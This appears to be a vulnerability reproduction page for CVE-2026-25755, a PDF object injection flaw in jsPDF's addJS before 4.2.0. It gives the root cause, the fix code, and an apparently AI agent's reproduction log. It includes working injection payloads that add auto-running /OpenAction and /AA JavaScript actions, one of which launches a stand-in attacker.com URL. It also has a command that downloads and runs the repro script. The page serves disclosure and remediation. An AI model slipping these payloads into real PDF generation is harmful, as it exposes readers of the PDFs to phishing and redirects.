Skip to content

CVE-2026-25755: Verified Repro With Script Download

CVE-2026-25755: jsPDF: PDF Object Injection via Unsanitized addJS Input

CVE-2026-25755 is verified against jspdf · npm. Affected versions: < 4.2.0. Fixed in 4.2.0. Vulnerability class: Deserialization. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00103.

REPRO-2026-00103 jspdf · npm Deserialization Feb 19, 2026 CVE entry ↗ .txt
Severity
HIGH
CVSS
8.1
Reproduced in
14m 30s
Tool calls
92
Spend
$0.39
01 · Overview

What Is CVE-2026-25755?

CVE-2026-25755 (GHSA-9vjf-qc39-jprp) is a high-severity PDF object injection vulnerability in the jsPDF npm library's addJS method, which lets an attacker inject arbitrary PDF objects into generated documents. Pruva reproduced it (reproduction REPRO-2026-00103).

02 · Severity & CVSS

CVE-2026-25755 Severity & CVSS Score

CVE-2026-25755 is rated high severity, with a CVSS base score of 8.1 out of 10.

HIGH threat level
8.1 / 10 CVSS base
Weakness CWE-94 — Improper Control of Generation of Code ('Code Injection')

High — serious impact or readily exploitable. Prioritize remediation.

03 · Affected Versions

Affected jspdf Versions

jspdf · npm versions < 4.2.0 are affected.

How to Reproduce CVE-2026-25755

$ pruva-verify REPRO-2026-00103
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00103/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-25755

Reproduced by Pruva's autonomous agents — 92 tool calls over 15 min. Full root-cause analysis and the complete transcript are below.

How the agent worked 287 events · 92 tool calls · 15 min
15 minDuration
92Tool calls
63Reasoning steps
287Events
2Dead-ends
Agent activity over 15 min
Support
13
Repro
56
Variant
214
0:0014:30

Root Cause and Exploit Chain for CVE-2026-25755

Summary

The jsPDF library (versions < 4.2.0) contains a PDF Object Injection vulnerability in the addJS method. User-controlled input passed to addJS is not properly sanitized, allowing an attacker to escape the JavaScript string context and inject arbitrary PDF objects. By crafting a malicious payload that closes the current PDF dictionary structure, an attacker can inject an /OpenAction object that executes JavaScript immediately when the PDF document is opened, potentially leading to phishing attacks or malicious URL redirects.

Impact

Package: jspdf (npm) Affected Versions: < 4.2.0 Fixed In: 4.2.0 Severity: HIGH (CVSS: 8.1) CWEs: CWE-94 (Code Injection), CWE-116 (Improper Encoding or Escaping)

Risk Level and Consequences:

  • Attackers can inject arbitrary PDF objects into generated documents
  • Malicious JavaScript can execute automatically when PDFs are opened
  • Potential for phishing attacks, data exfiltration, or malicious redirects
  • Affects any user who opens a PDF generated with untrusted input to addJS

Root Cause

The vulnerability exists in the addJS method in src/modules/javascript.js. Before the fix, user-provided JavaScript strings were directly embedded into the PDF structure without escaping parentheses. In PDF syntax, literal strings are enclosed in parentheses (...). If an attacker provides a string containing ) followed by PDF dictionary operators like >>, they can break out of the JavaScript string context and inject arbitrary PDF objects.

Vulnerable Code Pattern:

// Before fix: direct insertion without escaping
var text = javascript;
// ... embedded as /JS (text) in PDF structure

The Fix: The patch (commit 56b46d45b052346f5995b005a34af5dcdddd5437) adds an escapeParens function that properly escapes unescaped parentheses with backslashes, preventing the injection:

function escapeParens(str) {
    let out = "";
    for (let i = 0; i < str.length; i++) {
        const ch = str[i];
        if (ch === "(" || ch === ")") {
            // Count preceding backslashes to determine if the paren is already escaped
            let bs = 0;
            for (let j = i - 1; j >= 0 && str[j] === "\\"; j--) {
                bs++;
            }
            if (bs % 2 === 0) {
                out += "\\" + ch;
            } else {
                out += ch;
            }
        } else {
            out += ch;
        }
    }
    return out;
}

Fix Commit: https://github.com/parallax/jsPDF/commit/56b46d45b052346f5995b005a34af5dcdddd5437

Reproduction Steps

Script Location: repro/reproduction_steps.sh

What the script does:

  1. Sets up a Node.js test environment
  2. Installs vulnerable jsPDF version 4.1.0 (< 4.2.0)
  3. Creates a PDF document with a malicious payload injected via addJS
  4. Analyzes the generated PDF to confirm object injection

Malicious Payload:

") >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>"

Payload Breakdown:

  • ) - Closes the current JavaScript string in the PDF
  • >> - Closes the current PDF dictionary
  • /OpenAction << ... >> - Injects a new OpenAction dictionary with JavaScript action

Expected Evidence: The generated PDF (object 20) contains the injected code:

20 0 obj
<<
/S /JavaScript
/JS () >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>)
>>
endobj

Evidence

Log Files:

  • logs/npm_init.log - npm initialization output
  • logs/npm_install.log - jsPDF installation output
  • logs/reproduce.log - Reproduction results and PDF analysis

Key Evidence from logs/reproduce.log:

[*] Testing jsPDF PDF Object Injection
[*] jsPDF version: < 4.2.0 (vulnerable)
[*] Creating PDF with malicious payload...
[*] PDF saved as vulnerable.pdf
[+] VULNERABILITY CONFIRMED: /OpenAction found in PDF output!
[+] The malicious payload successfully injected a PDF object.

[*] Context around injection:
/S /JavaScript
/JS () >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>)

Generated PDF Structure (test_jspdf/vulnerable.pdf): The raw PDF shows object 20 containing the injected OpenAction:

20 0 obj
/S /JavaScript
/JS () >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>)
endobj

Environment Details:

  • jsPDF Version: 4.1.0 (vulnerable)
  • Node.js: Available in test environment
  • Test Directory: test_jspdf/

Recommendations / Next Steps

Upgrade Guidance:

  • Immediate: Upgrade jsPDF to version 4.2.0 or later
  • npm: npm install jspdf@^4.2.0
  • yarn: yarn upgrade jspdf@^4.2.0

Workaround (if upgrade not immediately possible):

  • Escape parentheses in user-provided JavaScript before passing to addJS
  • Replace ( with \( and ) with \) in untrusted input
  • Validate and sanitize all user input to addJS

Testing Recommendations:

  • Add unit tests that verify proper escaping of parentheses
  • Test with payloads containing: ), (, >>, /OpenAction, /AA
  • Use the test cases from the official patch as a template

Security Best Practices:

  • Never pass untrusted user input directly to addJS
  • Consider using the newer secure addJS API in v4.2.0+
  • Review other PDF generation methods that may accept user input

Additional Notes

Idempotency Confirmation: The reproduction script has been executed twice consecutively with identical results:

  • Run 1: VULNERABILITY CONFIRMED (exit code 0)
  • Run 2: VULNERABILITY CONFIRMED (exit code 0)

Edge Cases Tested:

  • The fix properly handles already-escaped parentheses (doesn't double-escape)
  • Nested parentheses are correctly escaped
  • Parentheses at the start of strings are properly handled

References:

CVE-2026-25755 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:002:28
0:00
session startedaccounts/fireworks/models/kimi-k2p5 · ghsa-9vjf-qc39-jprp · ghsa-9vj
0:08
0:28
0:31
web search
0:46
0:46
extract_facts
no facts extracted
0:52
0:52
0:52
supportrepro
1:35
1:35
1:35
1:42
1:42
1:46
1:52
2:10
2:10
#!/bin/bash
set -euo pipefail

# Portable root detection
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

echo "========================================="
echo "jsPDF PDF Object Injection Reproduction"
echo "========================================="
echo ""
2:14
2:26
$chmod +x /root/.pruva/runs/ghsa-9vjf-qc39-jprp_20260219-204842/repro/reproduction_steps.sh && /root/.pruva/runs/ghsa-9vjf-qc39-jprp_20260219-204842/repro/reproduction_steps.sh
11.3s
=========================================
jsPDF PDF Object Injection Reproduction
=========================================

[*] Initializing Node.js project...
[*] Installing vulnerable jsPDF version (< 4.2.0)...
[*] Running reproduction script...
[+] VULNERABILITY CONFIRMED!
2:28

Artifacts and Evidence for CVE-2026-25755

Scripts, logs, diffs, and output captured during the reproduction.

No artifacts available

08 · How to Fix

How to Fix CVE-2026-25755

Upgrade jspdf · npm to 4.2.0 or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-25755 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-25755

How does the CVE-2026-25755 PDF object injection attack work?

An attacker passes a crafted string such as "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>" to doc.addJS(). The ')' closes the JS string early and the '>>' closes the current dictionary, letting the attacker inject a new /AA (Additional Action) object that runs its own embedded JavaScript automatically when the resulting PDF is opened or focused, affecting any user who opens a PDF generated from untrusted addJS input.

Which jsPDF versions are affected by CVE-2026-25755, and where is it fixed?

jsPDF versions < 4.2.0 are affected. It is fixed in 4.2.0.

How severe is CVE-2026-25755?

It is rated high severity with a CVSS score of 8.1: attacker-controlled input to addJS can inject arbitrary PDF objects, including auto-executing JavaScript actions, potentially enabling phishing or malicious redirects for anyone who opens the generated PDF.

How can I reproduce CVE-2026-25755?

Download the verified script from this page and run it in an isolated environment against jsPDF < 4.2.0. It calls doc.addJS() with a payload that closes the JavaScript string and injects an /AA object with an embedded JavaScript action, then shows the resulting PDF contains the injected object structure on the vulnerable build while 4.2.0 escapes the parentheses correctly.
11 · References

References for CVE-2026-25755

Authoritative sources for CVE-2026-25755 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.